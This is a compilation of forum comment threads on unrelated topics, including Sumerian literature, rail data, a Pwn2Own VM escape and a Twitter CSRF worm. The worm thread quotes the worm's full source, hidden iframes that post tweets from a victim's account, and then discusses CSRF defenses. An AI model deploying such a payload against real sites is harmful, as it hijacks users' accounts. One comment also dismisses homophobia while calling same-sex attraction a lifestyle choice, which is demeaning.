Debate between sheep and grain - <AUTHOR> https://en.wikipedia.org/wiki/Debate_between_sheep_and_grain <comment><USER2> Brick and wood early, wheat and ore late.

Going all in on sheep with a sheep port is shooting the moon, and less reliable.

<comment><USER3> Wheat and Ore early isn't actually a bad strategy either, although a tad risky. It allows you to build your first two settlements into cities quickly, which allow you to gather resources quicker, or at least trade them into brick and wood (with the help of ports) to build roads and more settlements, which can easily be turned into cities since you're already on those resources.

Coming back to the topic at hand, :) It's not surprising how few Christians are aware of the influence of ancient near east literature on the formation of the creation story in Genesis. Pastors and theologians at more conservative and fundamentalist seminaries usually deny, ignore, or try to hide this from lay Christians in fear that they will leave the faith. This fear is actually probably a projection of their own fears, as I don't see this as some sort of evidence bomb that the Bible isn't "true", whatever that word means. It's totally expected that the ancient Israelites would be affected by the ANE literature of their time, and says of the author(s) of Genesis that they were using the stories that they know, and subverting them to tell their own (non- scientific) origin story of Yahweh and the Israelites.

<comment><USER4> >Pastors and theologians at more conservative and fundamentalist seminaries usually deny, ignore, or try to hide this from lay Christians in fear that they will leave the faith. This fear is actually probably a projection of their own fears, as I don't see this as some sort of evidence bomb that the Bible isn't "true", whatever that word means.

it undermines a fundamentalist or literalist reading of the bible. once you leave the realm of 'all of this happened exactly this way and god said exactly this', and enter the realm of 'well, this is figurative/you have to understand the historical context this draws from', things suddenly become much, much more nebulous and less authoritative. it's not that it entirely undermines any notion of 'truth' in the bible, but it's anathema to a particular worldview.

<comment><USER5> The literalist reading of an English language Bible always seemed a bit surreal to me.

<comment><USER6> Written by Jewish mystics, translated into Latin by Roman scholars, further translated by Scottish Protestants. What could possibly go wrong?

The part that always weirds me out is right at the start, when God/Elohim/whatever says let us create them in our image, male and female he created them, which makes very little sense with a singular God.

<comment><USER5> I'm sure sure there are/were whole sects based on how one interprets that division. A bigger one along the same lines is the holy trinity.

</comment></comment></comment></comment></comment></comment><comment><USER7> Here's a link to the full text

[http://etcsl.orinst.ox.ac.uk/section5/tr532.htm](http://etcsl.orinst.ox.ac.uk/section5/tr532.htm)

This seems like 3,000BC version of a rap battle, with rhyming put downs and brags.

Unlike apparently everyone else, I can't see any likeness with the story of Cain and Able, other than the involvement of plants and animals. [https://www.blueletterbible.org/nlt/gen/4/1/s_4001](https://www.blueletterbible.org/nlt/gen/4/1/s_4001)

<comment><USER8> If you enjoy that, you could look up other [https://en.wikipedia.org/wiki/Flyting](https://en.wikipedia.org/wiki/Flyting) & [https://en.wikipedia.org/wiki/Medieval_debate_poetry](https://en.wikipedia.org/wiki/Medieval_debate_poetry) to read. There are also fun prose debates like the Islamic "The Case of the Animals versus Man Before the King of the Jinn".

<comment><USER9> Also the Lis Consonantium, in which the letter sigma sues the letter tau:

[https://lucianofsamosata.info/TrialInTheCourtOfVowels.html](https://lucianofsamosata.info/TrialInTheCourtOfVowels.html)

</comment></comment></comment><comment><USER10> There must have been lots of cultural clashes during the dawn of civilization between farmers and herders, because the Cain vs. Abel story seems to pop up in different forms fairly often.

<comment><USER11> Yes.

What's interesting is that although in both this story and the Cain & Abel story farming wins out, the value judgements are different. In this Sumerian myth, grain is to be revered; whereas Cain (the farmer) is reviled.

Perhaps that reflects that these two cultures experienced the same struggle from different sides.</comment></comment>


From bitter loss to sweet relief: baking as therapy - <AUTHOR> https://www.spectator.co.uk/2019/08/from-bitter-loss-to-sweet-relief-baking-as-therapy/ <comment><USER2> I can relate to this. I started cooking as a way to cope with the stress of grad school. It's a sense of instant gratification I don't get from research, and it really scratches the itch to make something with my own two hands.

<comment><USER3> Especially as a programmer, making something physical is incredibly satisfying. Also, unlike my programs, the things I bake rarely have bugs.

<comment><USER4> I hope there are never bugs in the things you bake, unless you want some extra protein. :)

</comment></comment></comment><comment> compiler-guy Kneading bread is one of the greatest stress relievers there is. It's very tactile and you work out so much stress.</comment>


HTML5ify your existing code base - <AUTHOR> http://mrcoles.com/blog/html5ify-your-existing-code-base/

<comment><USER2> Thanks for posting this! It gave me a healthy traffic bump.</comment>


Show HN: Rawcode.io – a place to find and store code snippets - <AUTHOR> http://rawcode.io/ <comment><USER2> What are the advantages of using this as a code repository over Github gists? (if it's searchability, why not put a better search story atop gists and other common snippet locations?)

<comment><USER3> [http://rawcode.io/introduction](http://rawcode.io/introduction)

<comment><USER4> Is there an advantage to rawcode? I see that I can import my gists, but I'm not getting why I would look further.

<comment><AUTHOR> Thanks for commenting. Right now the main advantage is usability and with it the option to better organize snippets. Tags and especially lists allow users to curate snippets that have a connection and later search only those in a list, making it easy to find what you're looking for. We're also looking into letting user collaborate on lists, making them more attractive for teams.

</comment></comment></comment></comment><comment><USER5> Cool app. I built something similar and got a bunch of traction but never did much with it: [http://snippetrepo.com](http://snippetrepo.com)

</comment><comment><USER6> Why do you have a swipe icon in some places? Quite annoying when browsing on a laptop.

<comment><AUTHOR> Can you provide screenshots? Might be a bug!

<comment><USER6> [http://i.imgur.com/YM2SQFw.png](http://i.imgur.com/YM2SQFw.png)

<comment><AUTHOR> Thanks for the link! That's actually displaying corerctly. You can drag your snippet by clicking and holding it on this icon. Here's a demo: [https://twitter.com/rawcodeio/status/655678301617438721](https://twitter.com/rawcodeio/status/655678301617438721)

<comment><USER6> Yeah I got that it is displaying correctly, I just did not understand what it did. Even reading the introduction again it is not clear.

I am not sure it is useful though, what developer doesn't have copy/paste as a muscle memory action? Furthermore the window management alone would be just a tad annoying to make it useful.

It is neat though, but a novelty as far as actual usefulness goes.

<comment><AUTHOR> That's a good point. Challenging copy/paste behaviour with drag and drop is certainly hard and will likely not be adopted by that many people. However it is also the (only) way to sort snippets into lists - Maybe think of it as sorting Mails into different folders, which mostly happens the same way.

It is also kind of convenient to drag snippets into your editor, because you don't have to select the code (which would also happen via mouse). In any case it is not the only option to grab your snippets, so you can still go cmd+c / cmd+v. No harm done in giving the option imho.

I'm also looking into generally copying a snippet to the clipboard when hitting cmd+c on a single snippet page - That would probably be my personal favorite. Maybe even yours as well?

<comment><USER6> Cmd+C on the whole page in general would be nice, yes. Unless something is selected I guess.

</comment></comment></comment></comment></comment></comment></comment><comment><AUTHOR> More feedback is very welcome! Pretty excited to see so many signups already :]

</comment><comment><USER7> Gorgeous landing page. Really quite well done mate.

<comment><USER8> Agreed but allowing the internet to instantly post to your homepage is a bad idea:

[http://i.imgur.com/yevRapi.png](http://i.imgur.com/yevRapi.png)

<comment><AUTHOR> Thanks and I couldn't agree more. That was a mistake :[ Snippets that are shown in public places now must be created by registered users. For the future proper protection against this kind of behaviour will be inevitable. However prohibiting public snippets without registration is also not an ideal solution imho - would you agree?</comment></comment></comment>


Map of rail station usage in the UK: 1997 – 2015 - chestnut-tree http://www.bettertransport.org.uk/maps/rail-usage.html <comment><AUTHOR> It was interesting the see the number of stations being "upgraded" from small to medium & large. Certainly are a lot more large stations popping up in recent years.

I'd be curious to know what "large" means though. Is it just the passenger throughput or is it the number of platforms? It would be quite impressive if each of these size increases represents a major construction project.

<comment><USER2> Seems to just be based on passenger numbers, according to the boxes that appear if you hover on a station they are:

Small: Less than 100,000

Medium: 100,000 to 5,000,000

Large: 5,000,000+

An unstaffed station local to me went from small to medium over the maps period and it hasn't had any major work done.

</comment></comment><comment><USER3> Transport is one of my "pet" hobbies. This sort of hard data, on it's own is interesting. Combined with census data, local authority housing development data, and car use, then it becomes powerful. Even bring in the price of oil however this will have a general impact on the whole network.

The problem, as ever, is stitching it all together.

<comment><USER4> Curious. When you say "powerful" , in what way do you mean? For what purpose? What i mean to ask is, in what way does it become powerful for you personally?

</comment></comment><comment><USER5> I love the visualization here - but I'm not quite sure what it's showing me.

Is the increase compared to the starting point, or is it a year on year change?

I'm also unsure as to whether the white colour was the best choice for the largest change group - my mind was instantly associating it with a small change, for whatever reason/

<comment><USER6> According to the label, it's year on year. The slider should have two control points so you can view any interval.

<comment><USER7> Are you sure? The homepage says "Scroll, zoom and click on individual stations to see how passenger numbers have changed since 1997". I think it's for the whole period.

Many stations are white at the end, but have no reason for the increase to have been in the final year. Picking one I used to travel through [1], it's white on the map, last year's increase was <10%, but the increase since 1997 is huge.

(Also, this is Great Britain, since Northern Ireland isn't included.)

[1] [https://en.wikipedia.org/wiki/Barnes_Bridge_railway_station](https://en.wikipedia.org/wiki/Barnes_Bridge_railway_station)

<comment> harry-wood Yeah I noticed that too. The glowing red embers turn white hot with increase ...mostly towards the end. Because we're comparing with 1997 levels. I suppose that shows the general trend well, but it's not so good for actually spotting patterns of change as the time slider moves.

</comment></comment></comment></comment><comment><USER8> Do you know of a dataset showing station locations and distance by rail from neighbouring/other stations?

I need to map stations and distance from ${CITY} (London in this case) but haven't found the data yet.

<comment><USER9> May not be quite what you're looking for, but perhaps mapumental may help (depending on why you want the data)

[https://mapumental.com/](https://mapumental.com/)

It gives you time (not distance) between places, and it includes trains as well as buses. But perhaps you could use their API to tweak the results: [https://github.com/mysociety/mapumental- scripts](https://github.com/mysociety/mapumental-scripts)

Failing that, maybe try the NPTDR dataset: [https://data.gov.uk/dataset/nptdr](https://data.gov.uk/dataset/nptdr) (again, times, not distances)

</comment></comment><comment><USER10> Why is Northern Ireland transport not represented on this map? Otherwise the title should be 'Map of rail station usage in England, Scotland and Wales"

<comment><USER7> Northern Ireland's railways are managed by a different government agency to Great Britain's, so the statistics are not included.

I'd say Great Britain, but I guess you can out-pedant me with that, since Angelsey, the Isle of Wight etc have railways.

[http://www.translink.co.uk/Services/NI- Railways/](http://www.translink.co.uk/Services/NI-Railways/) (I think, though I've never been to NI)

[http://www.nationalrail.co.uk/](http://www.nationalrail.co.uk/)

<comment><USER11> Great Britain is correct, no? If one were referring to the island one would just say Britain.

<comment><USER12> Great Britain is the name of the island, as distinct from the other Britain (Brittany, France) which is slightly smaller in area.

No-one ever refers to Brittany as Britain, but the anachronism remains.

<comment><USER13> On that matter, I realized recently that both Brittany and Great Britain have an area called Cornwall or Cornouaille in French which makes the matter more confusing.

[https://en.wikipedia.org/wiki/Cornouaille](https://en.wikipedia.org/wiki/Cornouaille)

</comment></comment></comment></comment></comment><comment><USER14> No data on the island of Sodor?

</comment><comment><USER15> Shame they used such similar shades of red.</comment>


Happiest Minds - <AUTHOR> http://www.happiestminds.com/ <comment><AUTHOR> Happiest Minds is a digital transformation IT consulting & services company focusing on Big Data, Analytics Cloud, Mobility & Security for better business decisions & to create better customer experience.</comment>


Minecraft creator Markus Persson sparks cries of homophobia - <AUTHOR> http://fortune.com/2017/07/02/minecraft-markus-persson-homophobia/ <comment><USER2> What is it with same-sex attracted people that they cry "homophobia" when someone in some way disagrees with their lifestyle choice?</comment>


Virtual machine escape fetches $100k at Pwn2Own hacking contest - <AUTHOR> https://arstechnica.com/security/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/ <comment><USER2> So if you were using a use-once-and-destroy VM to do some Edge security testing, they could blow threw everything and get you anyway. The fact that there are vulnerabilities in each of three layers they needed to hit is unsurprising, but having one guy find all three is more incredible to me than Barcelona's recent come back against PSG.

<comment><USER3> Yes, this has to be one of the most impressive - and scary - things I've read in a while. Fantastic work by the team, and thank goodness there's security competitions like these to work as a rewarding outlet for their extreme talents.

<comment><USER4> That comment makes me wonder: would funding more of these with public money be explicitly worth the savings in avoiding attacks?

<comment><USER5> I'd rather see this money used for increasing software security through all layers. [1][2]

See, all these vulnerabilities started as major or minor bugs. And these originate from somewhere. While 100% bugfree software may be too hard to be worth the effort in most applications, there is a huge difference between the ideal state "the first exploit hits you hard, and after two or three more severe bugs in your software, you are out of business." Instead, we have "you can 'loose' huge amounts of data every few months and are still in business." And no regulator, no expert in a law suite, actually nobody, wants to have a look at your source code anyway. Even if you don't hide it through SaaS or other means, almost nobody asks for the source. [3]

Instead, public money is used to declare "cyberwar" and to buy zerodays - which creates an incentive for people to keep their findings private, instead of reporting early on. And more imporantly, these create an incentive to put in such bugs in the first place. [4]

[1] See also [https://news.ycombinator.com/item?id=13772293](https://news.ycombinator.com/item?id=13772293)

[2] audits, bug bounties (every bug, not just obviously-security-related bugs), better static analysis tooling and improving type systems and programming languages as a whole, donate to projects like OpenBSD and Mozilla / Rust, etc.

[3] ... unless it is about copyright. But I've never seen such a request in a software-security related incident.

[4] An attacker doesn't even need to establish a full-blown backdoor. They can just contribute some code with a missing or slightly-wrong check, and see how to exploit it later on, after enough time has passed.

<comment><USER6> We should also invest more in changing "100% bugfree software may be too hard to be worth the effort in most applications". Ultimately, everything else is just stop gap.

<comment><USER5> Good point!

My first reaction was: This is insane. Nobody is perfect. Let's try to reduce the bug rate to 1 bug / 100,000 LOC and we have achieved more than we can hope for.

However, thinking more about it, if you have a system with 1 million LOC and reduced your bug rate to 1 / 100,000 LOC, this means you need to fix 10 more bugs and you are 100% bug free. This doesn't sound infeasible at all. (ALthough it may be hard.)

</comment></comment></comment></comment></comment></comment><comment><USER7> Being someone who uses Qubes OS, seeing cracks that allows a virtualised system to break out to the is scary. After all, the entire security model of Qubes OSis based on the fact that it's not possible to break out from the VM's.

I'm really glad these guys valued their reputation higher than the extra money they could have gotten from selling these exploits on the blank market, but this makes me wonder how many such vulnerabilities are available that hasn't been published.

<comment><USER8> > _seeing cracks that allows a virtualised system to break out to the is > scary_

Hate to break this to you, but it's been shown time and time again that due to how caching and CPU pipelining works in modern processors, any "isolation" including full-on VM which is not "physical isolation" is leaky: [https://pdfs.semanticscholar.org/e544/00824814fed2ef52bb8415...](https://pdfs.semanticscholar.org/e544/00824814fed2ef52bb84151b2fc04c863e99.pdf) (overview of attacks)

Here is a particularly nice paper (proper methodology, well-explained intro, etc.) showing one example (a more or less regular cache timing attack, but with actual private info extraction from host, etc.): [https://arxiv.org/abs/1702.08719](https://arxiv.org/abs/1702.08719) \- these come up several times a year for various VMs, etc.

<comment><USER9> And even physical separation might not be enough due to EM radiation and power usage.

<comment><USER10> It is many orders of magnitude harder to get data from a computer that is in the vicinity than from one VM on the same machine to the host or another VM on that same machine.

<comment><USER9> I agree, but VM security and exploits also get orders of magnitude more attention. Besides, physical separation does not just apply to the data- center. Consider EM radiation from phones and laptops.

</comment></comment></comment></comment></comment><comment><USER11> How does someone learn this skill? I get that it obviously takes a ton of work, but how do you even prepare/study for (whatever it takes work to do) in the first place? The intuition required seems so different from what my intuition of computer systems would allow even imagining.

<comment><USER12> I recently watched and enjoyed this:

[https://www.youtube.com/watch?v=xkdPjbaLngE](https://www.youtube.com/watch?v=xkdPjbaLngE)

where he describes the hack of the Nintendo Switch, because they shipped an old version of Webkit. It's pretty impressive to see how "just" Javascript can jump from browser to native.

<comment><USER13> Really excellent video.

The material is good but also the guy shows an amazing teaching technique .

I wish commercial tutorials producers would put such care to their courses.

</comment></comment></comment><comment><USER14> A set of exploits like the 3 described could be worth quite a bit on the open market. I'm surprised how low the bounty was for a full vmware escape starting from a browser. Surely there are other exploits like this out in the wild under government lock and key.

<comment><USER15> Do you really believe that this team has the skills and knowledge to find these bugs and construct working exploits for them, but then don't understand the exploit market? Or, that they act against their own best economic interests?

<comment><USER10> > but then don't understand the exploit market? Or, that they act against > their own best economic interests?

Maybe they're just ethical by nature. If I could make lots of money by breaking the law or doing something un-ethical I (and in fact the vast majority of people) still wouldn't do it. Money isn't the only motivating factor.

So it is very well possible these exploits would have been worth more on the open market and _still_ the team decided to work on this in a white-hat setting because they are simply good people.

<comment><USER16> They could sell it to the US Government.

<comment><USER10> That would not be ethical either.

<comment><USER17> Given the current administration and political climate giving it to the government would be even more unethical. Specially because criminals don't have the funds the NSA does, and they are 100% guaranteed to get away with any wrongdoing

<comment><USER10> I think any kind of release _and_ hoarding exploits without doing what's possible to get the holes closed is un-ethical no matter who the recipient is, there is not much in terms of shades of gray there.

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> Impressive.

Is there consensus on security bad/best practices when it comes to VMs and containers? I mean if even established VMs/Hypervisors can't save you, what prospect is there of containers to actually contain anything?

Maybe POSIX chroot jails aren't that bad after all? Because, like, they're the simplest thing that can possibly work, and don't come with the complexity of VMs and Linux containers/namespaces; and if they turn out to be vulnerable you'd be able to switch to another kernel (BSDs)?

<comment><USER19> You have bugs in every (mainstream) kernels. With them, you can elevate your privileges to kernel level, and once you've done that it's game over.

There is no reason to believe an additional layer (a VM) will always protect you (at least given how they are also written in unsafe languages for now). However there is no reason to believe it will in average makes things worse, and every reasons to believe it will in average increase your security.

</comment></comment><comment><USER20> Title misleading: virtual machine escape from a web browser, all the way down to host machine.

<comment><USER21> Really, they escaped from two virtual machines, the JavaScript VM and the VMWare VM. Maybe give them half a VM-point for breaking the confines of the Windows process (if you take your OS textbook seriously, a process is an abstraction of a computer, so sort of a VM).

<comment><USER22> One of those "VMs" gets escaped from all the time. The other is made by VMware.

<comment><USER23> One of them has plenty of help from the hardware and has a pretty limited feature set.

</comment></comment></comment></comment><comment><USER24> > _You are absolutely deluded, if not stupid, if you think that a worldwide > collection of software engineers who can 't write operating systems or > applications without security holes, can then turn around and suddenly write > virtualization layers without security holes._

~Theo de Raadt

[http://marc.info/?l=openbsd- misc&m=119318909016582](http://marc.info/?l=openbsd-misc&m=119318909016582)

</comment><comment><USER25> This is why we need rust. Has Windows and edge and VMware used rust, these bugs wouldn't have happened. Rust is a game changer with it's borrow checker.

<comment><USER26> I love Rust too, but while it likely would have prevented these three bugs, there are many other classes of bugs caused by poorly designed interfaces/abstractions/protocols, misunderstandings, "valid but wrong" logic mistakes, unanticipated interactions, etc.

Let's not make magic bullet statements about technology. It's a good way to scare people _away_...

<comment><USER27> > while it likely would have prevented these three bugs

Isn't that the point of the parent's comment?

<comment><USER28> I think the point is that Rust fanboy will repeat same thing for years "all security bugs would have been avoided if Rust was used" and when first security issue will be found in Servo or other Rust component(maybe the kernel some Rust devs work on) then Rust reputation will suffer, I see tons of article and blog posts m most of them made to slap the annoyng fanboys that repeated same thing. Btw if they would have used C# then those 3 bugs would not have happen, the thing is that for some work cases you have to do unsafe stuff so C# as Rust has a way to run unsafe code so bug would have happened especially in some low-level code like for a JIT.

<comment><USER29> OP is correct in saying Rust would have prevented these specific bugs, so I don't understand why you're trying to dismiss them as a "fanboy".

<comment><USER28> I am 99% sure that OP did not checked the code and made sure that Rust could have been used there without using unsafe, so maybe you could only say "maybe Rust and any other memory safe language would avoid that issue" but since is code related with VMs and JIT you may have use the unsafe things in those languages so maybe it was not avoidable.

<comment><USER30> If the type of bug is use after free, double free, race condition or uninitiated memory - Rust would have dealt with it.

<comment><USER28> And if the code was not part of an unsafe section of Rust code. I have nothing against advocating for your favorite software but if you do it wrong by "omitting" things it will backfire, as a Linux user I seen this thing happen, you get some fanboy convincing people to use Linux, usually Arch because that distro attracts fanboys then the new user finds the ugly parts that were not advertised and runs screaming.

<comment><USER29> This is specious reasoning. You have to go out of your way to write unsafe broken code. The default in Rust is for memory safety. Yes, someone could theoretically be using an unsafe block and raw pointers to manipulate a memory buffer. But _they probably aren 't_, because that's generally pretty stupid unless you're implementing a higher-level wrapper around the buffer, which very few people do because there's generally already a wrapper that does what you want (often provided by the stdlib). And even if you are, the unsafe code is contained in a very small area which makes it much easier to review for safety.

<comment><USER28> I was talking about the low level code like in this case where you interact with the kernel, for calling kernel/OS functions you will have to pass pointers and buffers around,I am not sure if you can wrap the kernel functions without making things slower by adding indirection.

<comment><USER29> For any call that takes a raw pointer and a length, you can create a trivial wrapper that takes a &[u8] or &mut [u8] instead in order to make it safe. And you probably should do that, because you don't want to be sprinkling `unsafe` throughout your entire codebase. If you're really worried about indirection, you can also mark these inline, but they're small enough that the compiler would probably inline them anyway.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER31> I don't think I'd want to take credit for a hack like this. I imagine a few interesting phone calls are heading the researchers way.

<comment><USER32> They're a team from Qihoo360 a large Chinese security company. They do a tonne of this kind of research, so I'd imagine the company are used to it by now.

If you look at pwn2own or similar for the last couple of years you'll see a variety of their teams cropping up...

</comment></comment><comment><USER33> _" All started from and only by a controlled a website"_

That is _really_ scary. And another reason to limit/disable JavaScript (if somebody still don't find enough). Has anyone found more detailed report? I'd love to see this in action.

</comment><comment><USER34> Perfect storm.

</comment><comment><USER35> > We used a JavaScript engine bug within Microsoft Edge to achieve the code > execution inside the Edge sandbox, and we used a Windows 10 kernel bug to > escape from it and fully compromise the guest machine," ...

What? The security of VMware relies on the security of the guest OS? Really a surprise, and a horrible, for me.

btw, how many people are using Edge browser? 1%? And how many of them use it in VM? 1%%%? :-)

<comment><USER36> No, it does not. Here is the next sentence from the article:

"Then we exploited a hardware simulation bug within VMware to escape from the guest operating system to the host one. All started from and only by a controlled a website."

<comment><USER35> Thanks for clarification.

So the key of the hacking is a hardware simulation bug within VMware. It is not a surprise to exploit the security holes in Edge at all.

<comment><USER37> Edge isn't nearly the security nightmare that Internet Explorer was and runs sandboxed in a similar manner as Chrome so you shouldn't underestimate the impressiveness of that first escape either.

<comment><USER38> not even close. Just look at the CVE listings for 2016 Chrome vs Edge. Edge: 74 code execution vulnerabilities, Chrome: 2

<comment><USER39> CVE listings are not a meaningful metric at all for security. What that could reflect is that Edge's bounty program is far more popular than Chrome's. It could mean that Edge is willing to hand out CVEs for uncomfirmed bugs whereas Chrome requires further proof (I am not saying this is the case at all, to be clear).

<comment><USER35> Are there any reasons Edge won't go open source? Avoid too many bugs been found?

<comment><USER39> You think that Edge is closed source to avoid more bugs being found, but Microsoft also pays 3rd party developers for finding bugs in Edge?

<comment><USER35> You didn't answer my question at all. Are there any special reasons Edge has not been open sourced yet?

<comment><USER39> I didn't really understand what your question was, it sounded as if you were trying to imply the reason yourself.

I do not work for Microsoft, I have no insight into their decision making process. I doubt it has to do with security.</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment>


The curiously ordinary desire of Tim Schafer - <AUTHOR> http://www.polygon.com/features/2015/5/20/8601389/tim-schafer-broken-age <comment><USER2> The only thing "curious" about this situation is that we've arrived at a place culturally where non-"exponential" success is held as somehow less-than. In tech we derisively call these "lifestyle businesses", as though somehow quietly producing things people want to buy at a level that makes you comfortable is a moral bad, lacking as it is in the "change-the-world" narrative so many startups tell themselves.

Meanwhile, I caught a trailer for Broken Age, decided it would be fun to sit with my toddler and play, and have been enjoying it immensely. Sure, it's not pushing the state of the art in graphics, procedural content, AI, or the medium in general, but it's beautiful, charming, and exudes craftsmanship in ways that many other "game-changers" do not.

Keep on keepin' on, Tim.

<comment><USER3> Yes, this. I should be so lucky to build a 'lifestyle business', some kind of stable enterprise that is the livelihood of 10-20 people.

</comment></comment><comment><USER4> seems like an article that was done specifically just to try and save face about all the broken promises with SpaceBase, followed by Broken Age, missing deadlines, mis-managing funds, and then making jokes about your customer base. Sure there's a healthy bit of backstory and a story that tries to basically say 'He just totally deserves a top hit.' I don't think he really deserves one, maybe he should earn it?

But even then, Tim seems like he's been successful. He has a legitimately good design legacy... I'm not sure why he needs a 'super huge great selling game.'

He makes comments like this: "That's something we'd love to do," he says. "But we don't want to compromise our approach to games. It would just be wrong if we tried to make a game that was imitating some other successful game."

Except that from the outside it looks like they are very willing to compromise when they could have had success by just following through on their promises...</comment>


Twitter worm? Sex with goats? - <AUTHOR>

Looks like twitter is having troubles again. Looks like a worm is posting the message "i love anal sex with goats" followed by a post with a link. <comment><USER2> Below is the source of the worm for the curious - it's surprisingly very simple.

        <html>
        <head></head>
        <body>
        <script>
        var el1 = document.createElement('iframe');
        var el2 = document.createElement('iframe');
        el1.style.visibility="hidden";
        el2.style.visibility="hidden";
        el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
        el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
        document.getElementsByTagName("body")[0].appendChild(el1);
        document.getElementsByTagName("body")[0].appendChild(el2);
        </script>
        </body>
        </html>

<comment><USER3> Yet another reason why all GET requests in an API should be idempotent.

<comment><USER4> _idempotent_

I don't think that word means what you think it means.

Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad.

You probably meant "GET requests should be side effect free".

<comment><USER5> Idempotent means that the side effects of n > 0 requests are the same as for a single request. The "update status" method is not idempotent, as calling it multiple times would post multiple statuses. I think the parent's statement is sound.

A request that is side effect free is idempotent by definition.

<comment><USER6> Right, but the concept was created to talk about distributed systems and remote procedure calls where if a failure happened on your end and you didn't know if the procedure call worked, you wouldn't have to check if it worked before retrying. So it doesn't quite fit here. Also, I don't think idempotence is a solution to this since a) This is more of a security issue, and less of a systems design one and b) you might actually have a legitimate use case for multiple posts

<comment><USER7> _...the concept was created to talk about distributed systems and remote procedure calls..._

I'm pretty sure the concept's use in mathematics predates that by far.

</comment></comment></comment></comment></comment></comment><comment><USER8> Kids -- this is why you only support POST/PUTs for writes, and if possible, require some kind of authenticity token. I guess this is what al3x was talking about when he meant that Twitter should hire a security expert.

<comment><USER9> That alone won't protect you against all CSRF attacks since you're allowed to POST forms cross-domain.

Checking the referrer header is a start. Including the token you mentioned is even better.

<comment><USER10> Sure, the key will stop CSRF attacks that rely on just an iframe, but if my attack is more sophisticated then I can scrape the token from a legit form and re-post with whatever data I want.

<comment><USER11> > scrape the token from a legit form

Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form?

(There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... )

(edit: tweak to 'cryptohash' method.)

</comment></comment></comment></comment><comment><USER12> Twitter's blog post on the vulnerability: [http://status.twitter.com/post/1192873885/malicious-links- on...](http://status.twitter.com/post/1192873885/malicious-links-on-twitter).

</comment><comment><USER13> Twitter is vulnerable to CSRF (which is what this is). And it is so simple to prevent it in rails (which is what twitter uses). Interestingly the page announcing csrf protection in rails uses a twitter csrf example. in 2007!! and twitter still hasn't done anything. [http://m.onkey.org/2007/9/28/csrf- protection-for-your-existi...](http://m.onkey.org/2007/9/28/csrf-protection- for-your-existing-rails-application)

Also this status post should be a POST.

<comment><USER14> Twitter has had CSRF protection in the form of the authenticity_token parameter since that attack in 2007. This worm exploited a recent change to the Tweet Button that allowed status updates to be made on a GET.

</comment></comment><comment><USER15> Interesting that it hits just as the TC Hackday demos go live, I wonder how many of those are going to be using twitter and if this will affect them (will twitter take the api down for a bit while they fix this or if this is part of a hack)</comment>


Is The Web Dying? - <AUTHOR> https://medium.com/tech-blogging/b2977dbee814

<comment><USER2> This is glossing over one important point though: Most people don't frequently replace their PCs with new ones.

I still use a rig built 4 years ago. My mom uses one that's about the same, but before that, she owned a Dell tower that was 7 years old. Most of my friends own PCs that are 2-5 years old, but none of them would ever say that they use the web less. Besides Facebook (which is being shunned lately by folks I know) and Twitter, the web is quite vast and email, games, docs and music aren't the only things to be created or consumed.

Now I've had to replace my phone quite a lot more and I got a new tablet recently. These things will add considerable weight just by the rapid obsolescence and frequency of upgrades. The same applies to laptops (though I've used my old Inspiron 8200 with XP recently).

PCs enjoy a different domain in that regard.

</comment><comment><USER3> Why is this a bad thing?

So casual users of the internet/computers are going to start switching to other mediums to be casual on? That's fine.

So many people only use computers to check email/write small word documents/do other small-scale things. Those of us that use it for more, will stay on the internet, until something better that allows as much connectivity comes along (which it probably won't, but who knows) -- That means the internet will just be full of a different crowd, which is fine with me.

</comment><comment><USER4> Will people ever tire of writing articles about whether the web is dying? This Google search for "is the web dying" gives 34800 hits:

[https://encrypted.google.com/search?hl=en&q=%22is%20the%20we...](https://encrypted.google.com/search?hl=en&q=%22is%20the%20web%20dying%22)

</comment><comment><USER5> I totally believe that no one uses the web on mobile devices, the experience sucks royally, even using apps is sub-par to the desktop experience, but for some things it's "good enough" that most people don't care.</comment>


The Japanese have embarked on an intriguing and desperate monetary policy - <AUTHOR> http://www.businessinsider.com/mauldin-mortgage-in-yen-2013-6 <comment><USER2> I miss being able to buy high quality electronics from Japan that would last 20 years, instead of crap from China. I recently got a stereo for my home office in the garage. I went to a local thrift store to get an older receiver made in Japan, instead of China. It (still) works great.

Japan as a country needs to run a consumer oriented advertising campaign: "Buy stuff from us instead of China, it will last 10 times as long!" They also need to find a way to make their stuff available again in US (and other) commercial outlets.

<comment><USER3> > instead of crap from China

Did you know that iPhones, Xboxes, ThinkPads (the only laptop certified for use on the International Space Station) and loads of other quality electronics are made in China? I wouldn't say "made in China" automatically implies it's crap.

<comment><USER4> Selective bias. People got what they paid for. They paid little for the cheap stuff and complained about the poor quality.

<comment><USER2> I'm writing this on a MacBook, but who knows how long it will last. Maybe it's a high quality device, and maybe I'm not supposed to care if it starts flaking out after 2 or 3 years. I like the software, and the exterior construction is nice.

Stuff made in China might be half price from what things used to be, but it's hard to find any alternatives now.

</comment></comment></comment></comment><comment><USER5> So, any time an article like this comes along, I think something like "interesting, I guess I should go out and short the Yen... but wait, if _everyone_ is already shorting the Yen, won't that already be baked into the price?" s/Yen/Gold/g or whatnot.

I've sometimes thought that I should just bet against all seemingly persuasive investment articles like this one on the principle that the market will essentially over-indulge in said advice and have to correct in the opposite direction. (Would be interesting to test that theory with historical data.) Case in point: I bought a few silver ETF shares a while ago on the theory stated (by lots of people like SeekingAlpha and the like) that quantitative easing will cause inflation and people will rush to precious metals. (Well, that and I probably have a thing for silver/gold.) Since then, it's dropped over a third. Now I'm a little more cautious about betting on macro-economic trends...

<comment><USER6> Love the idea. The rub is figuring out _which_ article will influence people (100s are written every day at Seeking Alpha for many views of the same issue) -- if you can predict influence then I think you've found a nice little money machine :)

</comment></comment><comment><USER7> Given a massive amount of debt and a problem with deflation, isn't Japan in an ideal position for an aggressive negative income tax?

Imagine inflating by printing money and distributing equally among all citizens. Domestic price increases would be offset by the extra cash and the real debt would decrease accordingly. Why would that not work?

<comment><USER8> It probably would, however it sets a terrible example and must never be allowed to happen anywhere at any cost

"distributing equally among all citizens."

good grief, what a dangerous idea!

